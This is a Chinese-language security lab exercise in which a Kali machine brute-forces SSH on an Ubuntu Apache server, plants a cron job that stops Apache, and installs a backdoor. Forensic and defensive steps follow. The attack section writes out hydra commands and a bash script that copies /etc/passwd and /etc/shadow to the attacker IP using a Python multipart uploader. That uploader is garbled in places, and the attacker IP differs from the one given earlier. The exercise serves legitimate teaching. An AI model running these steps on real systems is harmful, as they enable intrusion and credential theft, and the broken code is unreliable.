一、场景概述
攻击机攻击已知的公共Apache web服务器,导致Apache服务关闭,web网站无法访问。攻击者利用安全外壳 (SSH) 暴力攻击访问服务器,并上传后门文件和脚本,每分钟将服务器的用户名称和密码发送给攻击机以保持对服务器的访问。最后,攻击机对服务器添加了一个cron 计划任务,该任务会每分钟关闭一次 Apache 服务。
二、实验目的
- Apache服务关闭场景攻防实战演练
- 暴力破解攻击事件的实战演练
- Linux和Apache日志研究和基础取证演练
- 使用Apache、SSH客户端和Linux管理工具的实战演练
三、实验环境
通过WMware创建如下虚拟机:
- 攻击机:安装Kali Linux系统,内置扫描工具和暴力破解工具等,IP地址为199.203.100.231
- Apache web服务器:安装Ubuntu x64 linux操作系统和Apache server,并搭建web网站,IP地址为172.16.100.21
- 取证机:安装windows 10操作系统,IP地址为10.72.51.1
- 取证工具机1:安装CentOS linux 和IBM QRadar SIEM,IP地址为192.168.66.6 5
- 取证工具机2:安装CentOS linux 和PaloAlto Firewall ,IP地址为192.168.254.253
- 取证工具机3:安装CentOS linux 和Zenoss,IP地址为192.168.200.133
四、 实验步骤
1. 攻击流程
Step1:端口扫描
攻击机使用Kali中的扫描工具(如nmap)对web服务器进行端口扫描,以探测网站的开放端口。
执行命令: nmap 172.16.100.21
Step2:SSH暴力破解攻击
攻击机使用Kali中的SSH暴力破解工具(如hydra)对web服务器进行SSH暴力破解,以获取服务器的用户名和密码。
执行命令:hydra -C userpass.txt 172.16.100.21 ssh
Step3:停止Apache服务
攻击机通过暴力破解出的用户名和密码远程登录到服务器中,创建一个计划任务,执行后门脚本,并以固定时间关闭Aapche服务。
执行命令:
crontab -e
/tmp/bd_bash.sh
/etc/init.d/apache2 stop
Step4:创建后门脚本
攻击机通过暴力破解出的用户名和密码远程登录到服务器中,创建python脚本文件b64phpuploader.py
和后门脚本/tmp/bd_bash.sh
,从而将服务器用户名和密码发送至攻击机。
(1)在/tmp目录下创建python脚本文件b64phpuploader.py
,具体代码如下:
import httplib, mimetypes
import sys, base64, os
import socket, datetime
def post_multipart(host, selector, fields, files):
“””
Post fields and files to an http host as multipart/form-data.
fields is a sequence of (name, value) elements for regular form fields.
files is a sequence of (name, filename, value) elements for data to be uploaded as files.
Return the server’s response page.
“””
content_type, body = encode_multipart formdata(fields, files)
h = httplib.HTTP(host)
h.putrequest(‘POST’, selector)
h.putheader(‘content-type’, content_type)
h.putheader(‘content-length’, str(len(body)))
h.endheaders()
h.send(body)
errcode, errmsg, headers = h.getreply()
return h.file.read()
def encode_multipart_formdata(fields, files):
“””
fields is a sequence of (name, value) elements for regular form fields.
files is a sequence of (name, filename, value) elements for data to be uploaded as files.
Return (content_type, body) ready for httplib.HTTP instance
“””
BOUNDARY = ‘----------This_is_the_boundary_$’
CRLF = ‘’\r\n’
L = [ ]
for (key, value) in fields:
L.append(‘--’ + BOUNDARY)
L.append(‘Content-Disposition: form-data; name=”%s”’ % key)
L.append(‘’)
L.append(value)
for(key, filename, value) in fields:
L.append(‘--’ + BOUNDARY)
L.append(‘Content-Disposition: form-data; name=”%s”; filename=”%s”’ % (key,filename))
L.append(‘Content-Type: %s’ % get_content_type(filename))
L.append(‘’)
L.append(value)
L.append(‘--’ + BOUNDARY + ‘--’)
L.append(‘’)
body = CRLF.join(L)
content_type = ‘multipart/form-data; boundary=%s’ % BOUNDARY
return content_type, body
def get_content_type(filename):
return mimetypes.guess_type(filename) [0] or ‘application /octet-stream’
def main():
if (len(sys.argv) != 3):
print “Usage: %s [Host] [File]” % sys.argv[0]
sys.exit()
host = sys.argv[1]
uFileName = sys.argv[2]
uFileData = base64.b64encode(open(uFileName,’rb’).read())
uFileName = datetime.datetime.now().strf time(%Y%m%d_%H%M
%S__”) + socket.gethost
print uFileName
fields =[ (“MAX_FILE_SIZE”,”1000000”) ]
files = [ (“uploaded_file”,uFileName,uFileData) ]
res = post_multipart(host,”http://%s/uploader.php” % host,fields,files)
print res
if __name__ == ‘__main__’:
main()
(2)在/tmp目录下创建后门脚本/tmp/bd_bash.sh
,具体代码如下:
#! /bin/bash
mkdir /tmp/bd
//创建/tmp/bd/新文件夹
cp /etc/passwd /tmp/bd/
//将/etc/文件夹中passwd文件拷贝到新建文件夹
cp /etc/shadow /tmp/bd/
//将/etc/文件夹中shadow文件拷贝到新建文件夹
python /tmp/b64phpuploader.py 199.203.100.233 /tmp/bd/passwd
//执行Python脚本b64phpuploader.py将服务器中passwd文件上传到攻击机
python /tmp/b64phpuploader.py 199.203.100.233 /tmp/bd/shadow
//执行Python脚本b64phpuploader.py将服务器中shadow文件上传到攻击机
2. 取证流程
(1)检测到端口扫描
Step1:通过取证机访问取证工具机1中的安全信息和事件管理工具QRadar SIEM,可检测出端口扫描事件告警;
Step2:通过取证机访问取证工具机2中的防火墙工具PaloAlto Firewall,在防火墙日志中也可查看到端口扫描活动详情。
(2) 检测到成功的密码暴力破解攻击
Step1:通过取证机访问取证工具机1中的安全信息和事件管理工具QRadar SIEM,可检测出服务器过多的失败用户登录事件,检测出失败用户登录告警。
Step2:在服务器上运行netstat命令查看服务器上所有绑定端口,可检测到服务器上运行SSH服务。
执行命令:netstat -an
Step3: 在服务器上查看SSH日志,分析日志后发现对SSH服务服务执行了多次论证尝试。
执行命令:cat /var/log/auth.log |grep Fail
(3) 检测到Apache服务故障
Step1:通过取证机访问取证工具机3中的智能监控工具Zenoss,可识别出被关闭的Apache服务。
Step2:在服务器中重启Apache服务后,发现服务将在几分钟后再次停止。
执行命令:
service apache2 status
service apache2 start
(4) 检测到Apache服务器上的Cron任务
在服务器中检查Cron任务,发现有Cron任务执行。
执行命令:crontab -l
(5) 检测到用户认证的细节被传送给攻击者
Step1:在服务器中检查Cron任务,发现有一个脚本与关闭服务命令一起运行。
Step2:调查脚本内容,发现有另一个python脚本被执行,通过解读所有脚本代码,检测到服务器用户认证信息被发送至攻击者。
3. 防御流程
(1) 在服务器中重启Apache服务
执行命令:
/etc/init.d/apache2 start
/etc/init.d/apache2 status
(2) 在服务器中删除Cron计划任务
执行命令:crontab -r
(3) 设置安全策略
通过取证机访问取证工具机2中的防火墙工具PaloAlto Firewall,设置安全策略,阻止所有来自或者去往攻击者IP的连接,阻止对服务器SSH服务服务的访问。
(4) 在服务器中删除恶意的sh脚本和python脚本
执行命令:
rm ba_bash.sh
rm b64phpuploader.py
(5) 在服务器中更改所用用户账号的的密码
五、实验报告要求
- 写出实验的基本信息,包括实验目的、实验环境、实验内容、实验所涉及的知识点等。
- 分别根据攻击流程、取证流程和防御流程,写出具体实施步骤和截图记录,并作出具体分析。
- 写出此场景攻防演练后的思考分析和心得体会。